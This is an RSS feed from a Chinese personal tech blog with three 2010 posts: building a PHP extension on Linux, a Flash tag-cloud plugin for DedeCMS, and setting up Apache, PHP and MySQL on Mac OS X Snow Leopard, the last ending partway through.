<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>花太香齐的博客 &#187; PHP/WEB</title>
	<atom:link href="http://www.ieliwb.com/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ieliwb.com</link>
	<description>灵感的来临，没有任何预兆；灵感的消失，也不会有告别仪式；用文字记下她们吧，让灵感永存……</description>
	<lastBuildDate>Wed, 04 Aug 2010 02:52:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>linux下php扩展(php ext)开发记录</title>
		<link>http://www.ieliwb.com/linux-php-extension-dev/</link>
		<comments>http://www.ieliwb.com/linux-php-extension-dev/#comments</comments>
		<pubDate>Tue, 04 May 2010 04:57:56 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[Linux/Shell/Server]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[extension]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/linux%e4%b8%8bphp%e6%89%a9%e5%b1%95php-ext%e5%bc%80%e5%8f%91%e8%ae%b0%e5%bd%95/</guid>
		<description><![CDATA[<blockquote>公司需要对通行证用户资料的教检函数封包(防止服务器沦陷,用户资料被解密)，需要开发一个扩展函数，
username是cookie中的username，
hashkey 是 cookie中的 PName
开发php ext: 函数名为csdn_verify_auth，参数是username 和 hashkey ，（算法机密文件略）

第一次写PHP扩展，搜索资料到编写测试用了一天半完成，记录一下吧，以后如果需要做的话大部分时间只能浪费在C算法上。</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/linux-php-extension-dev/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p>公司需要对通行证用户资料的教检函数封包(防止服务器沦陷,用户资料被解密)，需要开发一个扩展函数，<br />
username是cookie中的username，<br />
hashkey 是 cookie中的 PName<br />
开发php ext: 函数名为csdn_verify_auth，参数是username 和 hashkey ，（算法机密文件略）</p>
<p>第一次写PHP扩展，搜索资料到编写测试用了一天半完成，记录一下吧，以后如果需要做的话大部分时间只能浪费在C算法上。</p></blockquote>
<p><strong>1.先down一个php下来,编译安装：(编译环境只做测试扩展用)</strong><br />
<code><br />
wget http://cn2.php.net/get/php-5.2.13.tar.gz/from/cn.php.net/mirror<br />
tar zxvf php-5.2.13.tar.gz<br />
cd php-5.2.13<br />
./configure --prefix=/csdn_verify_auth/php --with-config-file-path=/csdn_verify_auth/php/etc<br />
make ZEND_EXTRA_LIBS='-liconv'<br />
make install<br />
cp php.ini-dist /csdn_verify_auth/php/etc/php.ini<br />
</code></p>
<p><strong>2.修改一下vi /csdn_verify_auth/php/etc/php.ini中的extension_dir = &#8220;./&#8221;</strong><br />
　　修改为<code>extension_dir = "/csdn_verify_auth/php/lib/php/extensions/no-debug-non-zts-20060613"</code><br />
　　并在此行后增加以下，然后保存：<br />
　　<code>extension = "csdn_verify_auth.so"</code><br />
    csdn_verify_auth改为你开发的扩展的名字</p>
<p><strong>3.开始创建扩展项目</strong><br />
进入源码目录<br />
<code>cd /csdn_verify_auth/php-5.2.13/ext/<br />
./ext_skel --extname=csdn_verify_auth</code></p>
<p>创建名字为csdn_verify_auth的项目，最终会生成csdn_verify_auth.so</p>
<p><strong>4.更改配置和扩展程序开发</strong><br />
<code>vi ext/csdn_verify_auth/config.m4</code></p>
<p>根据你自己的选择将</p>
<blockquote><p>dnl PHP_ARG_WITH(csdn_verify_auth, for csdn_verify_auth support,<br />
	dnl Make sure that the comment is aligned:<br />
	dnl [ --with-csdn_verify_auth Include csdn_verify_auth support])</p></blockquote>
<p>去掉dnl<br />
或者将</p>
<blockquote><p>dnl PHP_ARG_ENABLE(csdn_verify_auth, whether to enable csdn_verify_auth support,<br />
	dnl Make sure that the comment is aligned:<br />
	dnl [ --enable-csdn_verify_auth Enable csdn_verify_auth support])</p></blockquote>
<p>去掉dnl</p>
<p><code>vi ext/csdn_verify_auth/php_csdn_verify_auth.h</code><br />
将<br />
<code>PHP_FUNCTION(confirm_csdn_verify_auth_compiled); /* For testing, remove later. */</code><br />
更改为<br />
<code>PHP_FUNCTION(csdn_verify_auth);</code></p>
<p><code>vi ext/csdn_verify_auth/csdn_verify_auth.c</code><br />
将<br />
<code>zend_function_entry php5cpp_functions[] = {<br />
PHP_FE(confirm_csdn_verify_auth_compiled, NULL) /* For testing, remove later. */<br />
{NULL, NULL, NULL} /* Must be the last line in php5cpp_functions[] */<br />
};</code><br />
更改为<br />
<code>zend_function_entry php5cpp_functions[] = {<br />
PHP_FE(csdn_verify_auth, NULL)<br />
{NULL, NULL, NULL} /* Must be the last line in php5cpp_functions[] */<br />
};</code><br />
在最后添加：<br />
<code>PHP_FUNCTION(csdn_verify_auth)<br />
{<br />
	zend_printf("hello world\n");<br />
}</code></p>
<p><strong>5.编译生成so文件</strong><br />
<code>cd /csdn_verify_auth/php-5.2.13/ext/csdn_verify_auth/<br />
/csdn_verify_auth/php/bin/phpize<br />
./configure --with-php-config=/csdn_verify_auth/php/bin/php-config<br />
make<br />
mv /csdn_verify_auth/php-5.2.13/ext/csdn_verify_auth/modules/csdn_verify_auth.so /csdn_verify_auth/php/lib/php/extensions/no-debug-non-zts-20060613<br />
cd ../../../</code></p>
<p><strong>6.测试扩展</strong><br />
<code>vi /csdn_verify_auth/hello.php</code></p>
<p><? php<br />
csdn_verify_auth();<br />
?></p>
<p><code>/csdn_verify_auth/php/bin/php hello.php</code><br />
hello world.</p>
<p>OK</p>
<blockquote><p>主要用到的api就那么几个：<br />
ZEND_NUM_ARGS()、zend_parse_parameters(args TSRMLS_CC, &#8220;ss&#8221;, &#038;username, &#038;username_length, &#038;hash, &#038;hash_length)  参数接收系列<br />
RETURN_FALSE。。RETURN_STRINGL(s, l, dup)等返回系列函数<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
其他的基本就是C了，再次感叹下，学好C语言，走到哪都不怕。
</p></blockquote>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-END&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<span style='display:none;'>class:http://www.hucde.com/index.php/archives/category/php<br />
ext:http://blog.csdn.net/taft/archive/2006/02/10/596291.aspx</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/linux-php-extension-dev/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>类似Google的搜索浑天仪 for dedecms all version 程序发布</title>
		<link>http://www.ieliwb.com/igoogle-cumulus-for-dedecms/</link>
		<comments>http://www.ieliwb.com/igoogle-cumulus-for-dedecms/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 07:25:52 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[CMS/BBS开源原创作品]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[标签云]]></category>
		<category><![CDATA[浑天仪]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e7%b1%bb%e4%bc%bcgoogle%e7%9a%84%e6%90%9c%e7%b4%a2%e6%b5%91%e5%a4%a9%e4%bb%aa-for-dedecms-all-version-%e7%a8%8b%e5%ba%8f%e5%8f%91%e5%b8%83/</guid>
		<description><![CDATA[<blockquote><strong>Description:</strong>很喜欢谷歌的搜索浑天仪，wp叫标签云，已移植到dedecms。支持中文，utf8 or gbk。欢迎拍砖，转载请注明出处。</blockquote>

<strong>截图：</strong>
<img src="http://www.ieliwb.com/u/img/dede_tag_cumulus-2.png" alt="" />[......]<p class='read-more'><a href='http://www.ieliwb.com/igoogle-cumulus-for-dedecms/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Description:</strong>很喜欢谷歌的搜索浑天仪，wp叫标签云，已移植到dedecms。支持中文，utf8 or gbk。欢迎拍砖，转载请注明出处。</p></blockquote>
<p><strong>截图：</strong><br />
<img src="http://www.ieliwb.com/u/img/igoogle-search.png" alt="" /><br />
<img src="http://www.ieliwb.com/u/img/dede_tag_cumulus-1.png" alt="" /><br />
<img src="http://www.ieliwb.com/u/img/dede_tag_cumulus-2.png" alt="" /></p>
<p><strong>演示：</strong><br />
  <object type="application/x-shockwave-flash" data="http://articles.csdn.net/static/csdn-cumulus/tagcloud.swf?r=3748035" width="530" height="375"><param name="movie" value="http://articles.csdn.net/static/csdn-cumulus/tagcloud.swf?r=3748035" /><param name="bgcolor" value="#ffffff" /><param name="AllowScriptAccess" value="always" /><param name="wmode" value="transparent" /><param name="flashvars" value="tcolor=0x111111&amp;tcolor2=0x336699&amp;hicolor=0x&amp;tspeed=100&amp;distr=true&amp;mode=cats&amp;tagcloud=%3Ctags%3E%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fapple%2F%27+class%3D%27tag-link-79%27+title%3D%2711+topics%27+style%3D%27font-size%3A+11.975308641975pt%3B%27%3EApple%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fasus%2F%27+class%3D%27tag-link-192%27+title%3D%2710+topics%27+style%3D%27font-size%3A+11.283950617284pt%3B%27%3EAsus%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fatom%2F%27+class%3D%27tag-link-255%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3EAtom%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fblogging%2F%27+class%3D%27tag-link-222%27+title%3D%277+topics%27+style%3D%27font-size%3A+8.8641975308642pt%3B%27%3Eblogging%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fbrowser%2F%27+class%3D%27tag-link-178%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3Ebrowser%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fchrome%2F%27+class%3D%27tag-link-229%27+title%3D%277+topics%27+style%3D%27font-size%3A+8.8641975308642pt%3B%27%3EChrome%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fdesign%2F%27+class%3D%27tag-link-24%27+title%3D%2715+topics%27+style%3D%27font-size%3A+14.049382716049pt%3B%27%3Edesign%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Feee-pc%2F%27+class%3D%27tag-link-193%27+title%3D%2713+topics%27+style%3D%27font-size%3A+13.185185185185pt%3B%27%3Eeee-pc%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fembed%2F%27+class%3D%27tag-link-91%27+title%3D%276+topics%27+style%3D%27font-size%3A+8pt%3B%27%3Eembed%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fexperiences%2F%27+class%3D%27tag-link-72%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3Eexperiences%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fexperiment%2F%27+class%3D%27tag-link-115%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3Eexperiment%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Ffirefox%2F%27+class%3D%27tag-link-37%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3EFirefox%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Ffix%2F%27+class%3D%27tag-link-121%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3Efix%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fflash%2F%27+class%3D%27tag-link-18%27+title%3D%2736+topics%27+style%3D%27font-size%3A+20.444444444444pt%3B%27%3EFlash%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fgadgets%2F%27+class%3D%27tag-link-4%27+title%3D%2713+topics%27+style%3D%27font-size%3A+13.185185185185pt%3B%27%3EGadgets%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fgoogle%2F%27+class%3D%27tag-link-28%27+title%3D%2714+topics%27+style%3D%27font-size%3A+13.703703703704pt%3B%27%3EGoogle%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fhdtv%2F%27+class%3D%27tag-link-158%27+title%3D%276+topics%27+style%3D%27font-size%3A+8pt%3B%27%3EHDTV%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fintel%2F%27+class%3D%27tag-link-256%27+title%3D%2712+topics%27+style%3D%27font-size%3A+12.493827160494pt%3B%27%3EIntel%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fiphone%2F%27+class%3D%27tag-link-96%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3EiPhone%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Flaptop%2F%27+class%3D%27tag-link-65%27+title%3D%277+topics%27+style%3D%27font-size%3A+8.8641975308642pt%3B%27%3Elaptop%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Flinux%2F%27+class%3D%27tag-link-202%27+title%3D%2717+topics%27+style%3D%27font-size%3A+15.086419753086pt%3B%27%3Elinux%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fmicrosoft%2F%27+class%3D%27tag-link-250%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3EMicrosoft%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fmobile-phone%2F%27+class%3D%27tag-link-34%27+title%3D%276+topics%27+style%3D%27font-size%3A+8pt%3B%27%3Emobile+phone%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fnabaztag%2F%27+class%3D%27tag-link-50%27+title%3D%276+topics%27+style%3D%27font-size%3A+8pt%3B%27%3ENabaztag%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fnetbook%2F%27+class%3D%27tag-link-194%27+title%3D%2719+topics%27+style%3D%27font-size%3A+15.777777777778pt%3B%27%3Enetbook%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fnokia%2F%27+class%3D%27tag-link-74%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3ENokia%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fopen-source%2F%27+class%3D%27tag-link-186%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3Eopen+source%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fplugin%2F%27+class%3D%27tag-link-40%27+title%3D%2721+topics%27+style%3D%27font-size%3A+16.469135802469pt%3B%27%3Eplugin%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fplugins%2F%27+class%3D%27tag-link-85%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3Eplugins%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fsoftware%2F%27+class%3D%27tag-link-5%27+title%3D%277+topics%27+style%3D%27font-size%3A+8.8641975308642pt%3B%27%3ESoftware%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fsupport%2F%27+class%3D%27tag-link-157%27+title%3D%276+topics%27+style%3D%27font-size%3A+8pt%3B%27%3Esupport%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Ftag-cloud%2F%27+class%3D%27tag-link-109%27+title%3D%2710+topics%27+style%3D%27font-size%3A+11.283950617284pt%3B%27%3Etag+cloud%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fthemes%2F%27+class%3D%27tag-link-22%27+title%3D%276+topics%27+style%3D%27font-size%3A+8pt%3B%27%3Ethemes%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Ftwitter%2F%27+class%3D%27tag-link-234%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3ETwitter%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fubuntu%2F%27+class%3D%27tag-link-203%27+title%3D%2720+topics%27+style%3D%27font-size%3A+16.123456790123pt%3B%27%3EUbuntu%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fupdate%2F%27+class%3D%27tag-link-139%27+title%3D%277+topics%27+style%3D%27font-size%3A+8.8641975308642pt%3B%27%3Eupdate%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fusb%2F%27+class%3D%27tag-link-55%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3EUSB%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fvideo%2F%27+class%3D%27tag-link-44%27+title%3D%2713+topics%27+style%3D%27font-size%3A+13.185185185185pt%3B%27%3Evideo%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fvista%2F%27+class%3D%27tag-link-47%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3EVista%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fwifi%2F%27+class%3D%27tag-link-51%27+title%3D%279+topics%27+style%3D%27font-size%3A+10.592592592593pt%3B%27%3Ewifi%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fwindows%2F%27+class%3D%27tag-link-46%27+title%3D%2710+topics%27+style%3D%27font-size%3A+11.283950617284pt%3B%27%3EWindows%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fwordpress%2F%27+class%3D%27tag-link-19%27+title%3D%2745+topics%27+style%3D%27font-size%3A+22pt%3B%27%3EWordPress%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fwordpress-plugins%2F%27+class%3D%27tag-link-9%27+title%3D%278+topics%27+style%3D%27font-size%3A+9.7283950617284pt%3B%27%3EWordPress+plugins%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fwp-cumulus%2F%27+class%3D%27tag-link-108%27+title%3D%2735+topics%27+style%3D%27font-size%3A+20.271604938272pt%3B%27%3EWP-Cumulus%3C%2Fa%3E%0A%3Ca+href%3D%27http%3A%2F%2Fwww.roytanck.com%2Ftag%2Fyoutube%2F%27+class%3D%27tag-link-90%27+title%3D%277+topics%27+style%3D%27font-size%3A+8.8641975308642pt%3B%27%3EYouTube%3C%2Fa%3E%3C%2Ftags%3E&amp;categories=%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fblogging-internet%2F%22+title%3D%22View+all+posts+filed+under+Blogging%22%3EBlogging%3C%2Fa%3E+%287%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fenglish%2F%22+title%3D%22View+all+posts+filed+under+English%22%3EEnglish%3C%2Fa%3E+%28268%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fenvironment%2F%22+title%3D%22View+all+posts+filed+under+Environment%22%3EEnvironment%3C%2Fa%3E+%2810%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fflash%2F%22+title%3D%22View+all+posts+filed+under+Flash%22%3EFlash%3C%2Fa%3E+%2826%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fgadgets%2F%22+title%3D%22View+all+posts+filed+under+Gadgets%22%3EGadgets%3C%2Fa%3E+%2891%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fideas%2F%22+title%3D%22View+all+posts+filed+under+ideas%22%3Eideas%3C%2Fa%3E+%2811%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2F%22+title%3D%22View+all+posts+filed+under+Internet%22%3EInternet%3C%2Fa%3E+%2864%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fnederlands%2F%22+title%3D%22View+all+posts+filed+under+Nederlands%22%3ENederlands%3C%2Fa%3E+%2812%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fpersonal%2F%22+title%3D%22View+all+posts+filed+under+Personal%22%3EPersonal%3C%2Fa%3E+%2827%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fprogramming%2F%22+title%3D%22View+all+posts+filed+under+Programming%22%3EProgramming%3C%2Fa%3E+%288%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Frecommended-reading%2F%22+title%3D%22View+all+posts+filed+under+recommended+reading%22%3Erecommended+reading%3C%2Fa%3E+%283%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fseo%2F%22+title%3D%22View+all+posts+filed+under+SEO%22%3ESEO%3C%2Fa%3E+%287%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Fsoftware%2F%22+title%3D%22View+all+posts+filed+under+Software%22%3ESoftware%3C%2Fa%3E+%2855%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Funcategorized%2F%22+title%3D%22View+all+posts+filed+under+Uncategorized%22%3EUncategorized%3C%2Fa%3E+%281%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fwebdesign%2F%22+title%3D%22View+all+posts+filed+under+Web+design%22%3EWeb+design%3C%2Fa%3E+%2822%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fweb-hosting-internet%2F%22+title%3D%22View+all+posts+filed+under+Web+hosting%22%3EWeb+hosting%3C%2Fa%3E+%287%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fwordpress%2F%22+title%3D%22View+all+posts+filed+under+WordPress%22%3EWordPress%3C%2Fa%3E+%2810%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fwordpress-plugins%2F%22+title%3D%22View+all+posts+filed+under+WordPress+plugins%22%3EWordPress+plugins%3C%2Fa%3E+%2849%29%3Cbr+%2F%3E%0A%09%3Ca+href%3D%22http%3A%2F%2Fwww.roytanck.com%2Fcategory%2Finternet%2Fwordpress-themes%2F%22+title%3D%22View+all+posts+filed+under+WordPress+themes%22%3EWordPress+themes%3C%2Fa%3E+%2816%29%3Cbr+%2F%3E%0A" /></object><br />
<strong>注：</strong>虽然是flash，不影响SEO。<br />
<strong>下载地址：</strong><a href="http://www.ieliwb.com/u/zip/dede_tag_cumulus.rar">点击我</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/igoogle-cumulus-for-dedecms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mac OS X 10.6 Snow Leopard构建Apache，MySQL，PHP开发环境全记录</title>
		<link>http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/</link>
		<comments>http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 07:43:17 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[iPhone/Mac/ObjectC]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/mac-os-x-10-6-snow-leopard%e6%9e%84%e5%bb%baapache%ef%bc%8cmysql%ef%bc%8cphp%e5%bc%80%e5%8f%91%e7%8e%af%e5%a2%83%e5%85%a8%e8%ae%b0%e5%bd%95/</guid>
		<description><![CDATA[<p><strong>操作环境 :</strong></p>
<blockquote><p>
系统:  Mac OS X 10.6.2 （Snow Leopard）<br />
环境软件:<br />
Apache 2.2.11 	系统内置<br />
              PHP 	5.3.0 	系统内置<br />
              MySQL 5.1.43 	dmg安装包<br />
推荐几个开发软件:<br />
    [......]</p></blockquote><p class='read-more'><a href='http://www.ieliwb.com/mac-snow-leopard-apache-mysql-php/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><strong>操作环境 :</strong></p>
<blockquote><p>
系统:  Mac OS X 10.6.2 （Snow Leopard）<br />
环境软件:<br />
Apache 2.2.11 	系统内置<br />
              PHP 	5.3.0 	系统内置<br />
              MySQL 5.1.43 	dmg安装包<br />
推荐几个开发软件:<br />
               Xcode 苹果官方免费软件<br />
              zend studio zend公司有dmg安装包<br />
             coda 也支持php函数提醒功能,很好用,apple软件库有
</p></blockquote>
<blockquote><p>由于mac是基于unix内核的,很多开发开源软件都自带了,如:apache|php|java|python等,而且自带shell命令终端,在此咕噜一下,做开发或设计的赶快转到mac平台吧,当然asp,c#就别来了,嘎嘎.这些自带的基本都相当新,不习惯的可以自己终端编译.</p></blockquote>
<blockquote><p>如果想用套件的话,这里也推荐几个:MAMP, XAMPP or Marc Liyanage.自己google一下.下面就可以路过了.</p></blockquote>
<p><strong>配置apache:</strong><br />
1.让apache加载php模块,自己指定localhost跟目录等.打开终端:<br />
<code>su root<br />
vi /etc/apache2/httpd.conf</code></p>
<p>找到:#LoadModule php5_module libexec/apache2/libphp5.so去掉全面的#<br />
找到:  DocumentRoot &#8220;/Users/ieliwb/Sites&#8221;  修改目录,记得有2处<br />
2.开启apache<br />
你可以在系统偏好设置里->共享->web共享勾上<br />
或终端敲入:<br />
<code>su root<br />
apachectl start</code><br />
<strong>记住所有apache配置操作都是root用户才能修改的.所以记得su root.</strong></p>
<p><strong>配置php:</strong></p>
<p>不同人不同应用程序对PHP的设置要求也不同，这里仅仅粗略描述最基本的几项设置，且只说明目标，具体操作则省略掉了，其它设置条目参考其它文档。在每次对PHP配置文件php.ini文件做出更改后，要重新启动一次Apache服务才能使更改生效。</p>
<p>   1.  php.ini</p>
<p>      默认地，Mac OS X 10.6没有php.ini配置文件，需要自己创建。也可以使用/private/etc/php.ini.default文件改写另存为/private/etc/php.ini文件。<br />
   2. timezone，时区设置</p>
<p>      Mac OS X 10.6自带了PHP 5.3.0，同时也带来了一点新要求：“强制”要求定义时区。搜索“date.timezone”（第997行），然后设定正确的时区ID，比如澳大利亚悉尼，时区ID就是Australia/Sydney。注意，时区ID没有引号。所有时区ID可以在http://php.net/manual/en/timezones.php上找到。<br />
   3. mysql.sock</p>
<p>      在php.ini文件中搜索“mysql.sock”字串，把找到的三个配置条目稍稍做一下修改：</p>
<p>      &#8230;<br />
      pdo_mysql.default_socket=/tmp/mysql.sock<br />
      &#8230;<br />
      mysql.default_socket = /tmp/mysql.sock<br />
      &#8230;<br />
      mysqli.default_socket = /tmp/mysql.sock<br />
      &#8230;</p>
<p>      在Mac OS X 10.5 leopard中，mysql.sock文件被放在了/var/mysql/mysql.sock，而Mac OS X 10.6 Snow Leopard中的mysql.sock文件位置/tmp/mysql.sock就标准多了。最后对php.ini文件做你所需要的更改，保存。</p>
<p><strong>mysql安装调试:</strong></p>
